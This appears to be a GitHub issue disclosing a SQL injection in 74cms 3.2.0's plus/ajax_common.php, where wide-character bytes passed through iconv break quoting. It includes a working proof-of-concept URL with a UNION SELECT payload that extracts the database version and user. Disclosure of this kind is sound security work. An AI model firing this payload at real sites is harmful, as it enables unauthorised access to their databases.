Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

74cms 3.2.0 ajax_common query SQL inject #12

Open
blindkey opened this issue Feb 18, 2020 · 0 comments
Open

74cms 3.2.0 ajax_common query SQL inject #12

blindkey opened this issue Feb 18, 2020 · 0 comments

Comments

@blindkey
Copy link
Owner

plus/ajax_common.php
image

$_GET['query'] pass to $gbk_query and then $gbk_query get iconv

so use some special word to do something with iconv ,like wide charactars( such as %8c%27 ) chinese word or some thing . and then get into sql and finally leads to sql inject .

poc:
upload/plus/ajax_common.php?act=hotword&query=aa%錦%27%20union%20select%201,concat(version(),user()),3%23%27

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant